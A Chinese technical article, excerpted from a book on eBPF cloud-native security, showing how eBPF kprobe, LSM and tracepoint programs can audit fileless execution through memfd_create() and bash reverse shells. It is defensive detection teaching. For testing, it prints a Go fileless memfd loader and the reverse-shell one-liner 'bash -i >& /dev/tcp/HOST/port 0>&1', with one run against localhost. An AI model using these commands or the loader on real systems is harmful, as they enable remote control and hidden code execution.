eBPF安全新视角!全面解析复杂攻击手段的审计方法

文摘   2024-10-31 13:00   陕西  

作者简介

黄竹刚,阿里云容器服务技术专家,eBPF技术爱好者,云原生安全领域从业人员,拥有十余年软件开发经验,熟悉Python、Go等多种编程语言,热爱开源并长期活跃于开源社区。

0. 导读

基于eBPF技术实现相应的审计程序,审计的都是通过简单手段触发的安全事件。本文将介绍几种常见的复杂攻击手段,以及如何编写对应的实现审计功能的eBPF程序。

本文摘编自《eBPF云原生安全:原理与实践》(书号:978-7-111-75804-4),经出版方授权发布,转载请保留文章来源。

1. 审计使用无文件攻击技术实现的命令执行操作

无文件攻击指的是攻击者直接在内存中加载并执行恶意程序,这种执行恶意程序的方法不会在文件系统中留下明显的痕迹且在开启了只读文件系统的环境中也不受影响。下面来看一下常见的无文件技术及如何使用eBPF技术审计使用该技术触发的命令执行操作。

在Linux系统中,我们可以使用memfd_create()函数创建一个匿名文件,这个文件只存在于内存中,但是我们可以把它当作普通文件一样进行各种文件操作,比如读写操作或者作为程序执行。因此,无文件攻击技术常用这种方法将恶意程序(从网络上下载、硬编码在程序中或从其他文件读取)加载到内存文件中,然后再通过执行该文件触发命令执行操作。

比如,在下面的Go函数中,我们首先使用memfd_create()函数创建了一个内存文件,然后将二进制程序写入该文件中,最后再执行这个文件中包含的程序触发命令执行操作。

func main() {
    // 使用 memfd_create() 创建内存文件
    // https:// man7.org/linux/man-pages/man2/memfd_create.2.html
    fd, err := unix.MemfdCreate(""0)
    if err != nil {
        log.Fatalln(err)
    }
    path := fmt.Sprintf("/proc/self/fd/%d", fd)
    file := os.NewFile(uintptr(fd), path)
    defer file.Close()
    // 来自其他地方的二进制程序
    // 可以从网络上下载、硬编码在当前程序中或者从文件中读取
    binData, err := os.ReadFile(os.Args[1])
    if err != nil {
        log.Fatalln(err)
    }
    // 将二进制程序写入内存文件中
    if _, err := file.Write(binData); err != nil {
        log.Fatalln(err)
    }
    // 执行内存文件中的二进制程序
    argv := []string{"foobar"}
    if len(os.Args) > 2 {
        argv = append(argv, os.Args[2:]...)
    }
    if err := unix.Exec(path, argv, os.Environ()); err != nil {
        log.Fatalln(err)
    }
}

将上面的代码编译后,我们可以用它执行任意其他二进制程序,比如执行系统中已有的tail命令。

./memfd-create /usr/bin/tail -f go.mod

这个操作创建的新进程的信息如下。

$ ps aux |grep foobar
vagrant    26080  0.0  0.0   5800  1060 pts/2    S+   03:18   0:00 foobar -f go.mod
$ ls -l /proc/26080/ |grep exe
lrwxrwxrwx  1 vagrant vagrant 0 Apr  5 03:20 exe -> /memfd: (deleted)
$ ls -l /proc/26080/fd/3
lrwx------  1 vagrant vagrant 64 Apr  5 03:18 /proc/26080/fd/3 -> '/memfd: (deleted)'

从上面的进程信息中可以看到,在proc文件系统的进程信息中,新进程的程序文件指向的是一个前缀为/memfd:的文件,但是这个文件在文件系统中其实是一个不存在的文件,即一个内存文件。

下面我们来看一下如何审计基于memfd_create()函数实现的命令执行操作。

1.1 基于eBPFKprobe实现

我们来看一下是否可以使用一些审计命令执行操作的方法来审计基于memfd_create()函数实现的命令执行操作。以基于Kprobe和Kretprobe实现的eBPF程序为例,当执行./memfd-create/usr/bin/tail -f go.mod命令时,审计程序将输出如下审计事件。(有关审计命令的相关内容推荐您阅读黄竹刚、匡大虎老师的新书 eBPF云原生安全:原理与实践》。)

ppid: 21970 pid: 26243 comm: bash filename: ./memfd-create ret: 0
ppid: 21970 pid: 26243 comm: memfd-create filename: /proc/self/fd/3 ret: 0

在上面的审计事件中,文件名称为/proc/self/fd/3的事件就是memfd-create程序基于无文件技术触发命令执行操作时被审计到的安全事件。基于这个信息可知,第8章介绍的方法可以审计到基于memfd_create()函数实现的无文件命令执行操作。

1.2 基于eBPF LSM实现

除了基于文件名称判断执行的进程是否是一个内存文件外,是否还有其他的方法审计基于memfd_create()函数实现的无文件命令执行操作?答案是肯定的,比如我们可以基于LSM技术在内核中直接判断文件是否是内存文件的方式审计该操作。

我们可以基于LSM提供的bprm_creds_from_file追踪点编写追踪命令执行操作的eBPF程序,然后从file参数中获取文件系统相关信息。

LSM_HOOK(int0, bprm_creds_from_file, struct linux_binprm *bprm, struct file *file)

在Linux文件系统中,如果使用struct inode数据结构表示的是一个普通文件,内核总是会调用inode_init_always函数初始化该inode实例,初始化后的inode实例的成员__i_nlink被赋值为1,并且在之后的文件操作中,除非是删除类操作,否则这个值只会大于或等于1。但是,如果使用struc inode数据结构表示的是一个内存文件,inode实例的成员__i_nlink的值就不会被赋值而仍旧为0。因此,我们可以在eBPF程序中通过判断inode实例成员__i_nlink的值来实现审计需求。

确定核心逻辑后,编写eBPF程序就比较简单了。基于eBPF LSM实现的审计程序的核心代码如下。

static bool is_memory_file(const struct file *file) {
    unsigned int __i_nlink;
    __i_nlink = (unsigned int)BPF_CORE_READ(file, f_path.dentry, d_inode, __i_nlink);
    return __i_nlink <= 0;
}

SEC("lsm/bprm_creds_from_file")
int BPF_PROG(lsm_bprm_creds_from_file, struct linux_binprm *bprm, struct file *file,  
    int ret)
 
{
    // 省略部分代码
    // 判断是否是内存文件
    if (!is_memory_file(file))
        return ret;
    // 省略部分代码
    bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
    return ret;
}

当执行./memfd-create/usr/bin/tail -f go.mod命令时,新的基于LSM的审计程序将输出如下审计事件。

ppid: 21970 pid: 27256 comm: memfd-create filename: "memfd:"

当执行普通的程序时,我们的审计程序不会输出任何事件,因为这些普通程序的命令执行事件不满足我们判断是否是内存文件的逻辑。

从上面的输出可以看到,基于LSM实现的审计程序同时也获取到了这个内存文件真正的文件名称memfd:。因此,我们其实也可以在LSM程序中通过判断文件名称是否是memfd:的方式判断执行的程序是否是使用memfd_create()函数创建的文件,大家可以自行尝试实现一下这个新的eBPF程序。

2. 审计反弹Shell操作

攻击者通常会使用反弹Shell技术控制目标系统。与常规的Shell访问(例如SSH)不同,反弹Shell通过在目标系统上建立一个连接至攻击者系统的网络连接来实现。这种连接方法使得攻击者能够规避目标系统的防火墙和入侵检测系统,从而更隐秘地进行攻击。下面来看一下如何使用eBPF技术审计常见的反弹Shell操作。

最常见的一种实现反弹Shell操作的方法是重定向Shell的标准输入/输出到连接攻击者的远程服务器的网络套接字上。

比如下面这个典型的反弹Shell例子。

bash -i >& /dev/tcp/HOST/ 端口 0>&1

其中使用的/dev/tcp/并不是一个真实存在的文件系统目录。相反,它是一个伪文件系统,用于在Shell脚本中创建TCP连接,它允许我们通过文件描述符与远程TCP服务进行通信。这种方式实现的反弹Shell通过将bash -i的标准输入、标准输出和标准错误重定向到使用/dev/tcp建立的网络套接字上,实现对当前系统的远程控制能力。

该操作的流程如图1所示。

img

下面我们来分析一下图1中各个流程中涉及的关键内核函数和系统调用,然后基于分析结果使用eBPF实现相应的审计程序。

由图1可知整个流程中最关键的步骤就是标准输入、标准输出和标准错误的重定向操作。在Linux系统中标准输入、标准输出和标准错误的文件描述符分别是0、1和2,对应的重定向操作实际上是操作的文件描述符。文件描述符重定向操作通常使用dup2系统调用实现。dup2系统调用函数的定义如下。

int dup2(int oldfd, int newfd);

因此,我们可以通过追踪dup2系统调用事件审计标准输入、标准输出和标准错误的重定向操作。

但这里还有一个关键点,那就是如何判断一个文件描述符是否是被重定向到了一个指向网络套接字的文件描述符。dup2系统调用事件中获取到的文件描述符只有一个ID信息,我们无法通过这个事件获取到文件描述符所关联的文件信息。因此,我们需要追踪文件描述符的生命周期,从内核中为文件描述符关联文件信息开始到关闭文件描述符为止。

2.1 关联文件描述符和文件

在Linux系统中,无论是标准输入、标准输出、标准错误还是网络套接字,都会有与之相关联的文件描述符。

当我们通过/dev/tcp/HOST/端口创建一个网络套接字的时候,内核将调用sock_alloc_file()函数来创建一个与socket结构体关联的文件对象。sock_alloc_file()的函数签名如下。

struct file *sock_alloc_file(struct socket *sock, int flags, const char *dname)

在生成该文件对象的时候,sock_alloc_file()函数会将传入的d_name参数用于设置文件对象关联的dentry结构体的d_name成员。d_name成员用于表示与文件对象关联的名称,在网络套接字场景下,它会使用协议名称(如TCP、UDP等)作为标识。因此,我们可以通过判断d_name成员的值来过滤套接字所关联的文件对象。

在创建了与socket结构体关联的文件对象之后,内核需要将其与一个文件描述符关联。此时,内核先通过调用get_unused_fd_flags()函数获取一个未使用的文件描述符,然后再调用fd_install()函数将文件对象与文件描述符关联。

由上述信息可知,我们可以通过追踪内核函数fd_install()来实现我们的需求。内核函数fd_install()的函数签名如下。

void fd_install(unsigned int fd, struct file *file)

通过fd可以过滤出标准输入、标准输出、标准错误关联的文件描述符,再结合file对象中存储的信息,我们可以过滤出套接字所关联的文件描述符。找出我们需要关注的文件描述符后,还需要使用一个eBPFMap将这些信息保存到一个临时存储中,以供后续程序使用。

按照这个思路,我们可以编写如下追踪内核函数fd_install()的eBPF程序。

SEC("kprobe/fd_install")
int BPF_KPROBE(kprobe__fd_install, unsigned int fd, struct file *file) {
    struct fd_key_t key = { 0 };
    struct fd_value_t value = { 0 };
    key.fd = fd;
    key.pid = bpf_get_current_pid_tgid() >> 32;
    get_file_path(file, value.filename, sizeof(value.filename));
    char tcp_filename[4] = "TCP";
    if (!(fd == 0 || fd == 1 || fd == 2 || str_eq(value.filename, tcp_filename, 4))) {
        return 0;
    }
    bpf_map_update_elem(&fd_map, &key, &value, BPF_ANY);
    return 0;
}

上面这个程序的核心逻辑如下。

(1) 对fd进行过滤,只处理标准输入、标准输出、标准错误关联的文件描述符或者file对象中d_name成员的值为TCP的套接字关联的文件描述符。

(2) 将获取到的进程和文件描述符及其关联的文件信息保存到fd_map中。fd_map是一个类型为BPF_MAP_TYPE_LRU_HASH的eBPF Map,它的定义如下。

struct {
    __uint(type, BPF_MAP_TYPE_LRU_HASH);
    __uint(max_entries, 20480);
    __type(key, struct fd_key_t);
    __type(value, struct fd_value_t);
fd_map SEC(".maps");

2.2 文件描述符重定向

在Linux系统中,文件描述符重定向操作通常使用dup2系统调用实现。dup2系统调用函数的定义如下。

int dup2(int oldfd, int newfd);

通俗来说,dup2(int @oldfd, int @newfd)调用就是将针对文件描述符newfd的操作重定向到文件描述符oldfd上。结合前面的追踪fd_install函数获取到文件描述符信息,我们可以通过追踪dup2系统调用实现审计反弹Shell操作的需求。

SEC("tracepoint/syscalls/sys_enter_dup2")
int tracepoint_syscalls__sys_enter_dup2(struct trace_event_raw_sys_enter *ctx) {
    struct fd_key_t key = { 0 };
    struct fd_value_t *value;
    struct event_t event = { 0 };
    key.pid = bpf_get_current_pid_tgid() >> 32;
    key.fd = (u32)BPF_CORE_READ(ctx, args[0]);
    value = bpf_map_lookup_elem(&fd_map, &key);
    if (!value) {
        return 0;
    }
    char tcp_filename[4] = "TCP";
    if (!str_eq(value->filename, tcp_filename, 4)) {
    return 0;
    }
    event.pid = bpf_get_current_pid_tgid() >> 32;
    event.src_fd = (u32)BPF_CORE_READ(ctx, args[1]);
    event.dst_fd = key.fd;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
    bpf_probe_read_kernel_str(&event.dst_fd_filename, sizeof(event.dst_fd_filename),  
        &value->filename);
    bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
    return 0;
}

上面这个eBPF程序的关键逻辑如下。

(1) 从fd_map中获取oldfd文件描述符关联的文件信息。

(2) 针对获取到的文件信息进行过滤,只保留协议类型为TCP的套接字关联的文件。

(3) 将审计到的反弹Shell事件通过bpf_perf_event_output提交到环形缓冲区中,以供用户态程序消费。

2.3 关闭文件描述符

最后,我们还需要在关闭文件描述符时清理一下fd_map中保存的文件描述符信息。在Linux系统中,通常会利用close系统调用来关闭文件描述符。close系统调用的定义如下。

int close(int fd);

因此,我们需要在eBPF程序中追踪一下close系统调用,根据追踪到的进程信息和文件描述符信息,清理fd_map中保存的文件描述符数据。对应eBPF程序的核心代码如下。

SEC("tracepoint/syscalls/sys_enter_close")
int tracepoint_syscalls__sys_enter_close(struct trace_event_raw_sys_enter *ctx) {
    struct fd_key_t key = { 0 };
    key.pid = bpf_get_current_pid_tgid() >> 32;
    key.fd = (u32)BPF_CORE_READ(ctx, args[0]);
    bpf_map_delete_elem(&fd_map, &key);
    return 0;
}

至此,我们完成了审计反弹Shell操作的eBPF程序的核心逻辑。当执行如下命令测试反弹Shell操作时,我们的eBPF程序将审计到相关的重定向操作,即反弹Shell操作。

# 启动一个server表示远程服务
$ nc -lk 7777 -l
# 执行反弹Shell操作
$ bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
# eBPF 程序将输出如下重定向事件日志
2023/05/01 09:47:59 9450:bash redirect 1 -> 3:TCP
2023/05/01 09:47:59 9450:bash redirect 2 -> 11:TCP
2023/05/01 09:47:59 9450:bash redirect 1 -> 10:TCP

3. 总结

本文通过示例的方式简单讲解了如何利用eBPF技术对使用无文件技术实现的命令执行操作及反弹Shell操作进行审计,还展示了相关eBPF程序的核心代码片段。尽管本章仅关注审计程序的编写,没有涉及拦截操作的实现逻辑,相关内容推荐您阅读黄竹刚、匡大虎老师的新书《eBPF云原生安全:原理与实践》。另外,大家可尝试在本文提供的示例程序中增加拦截操作的代码。


Linux内核之旅
Linux内核之旅
 最新文章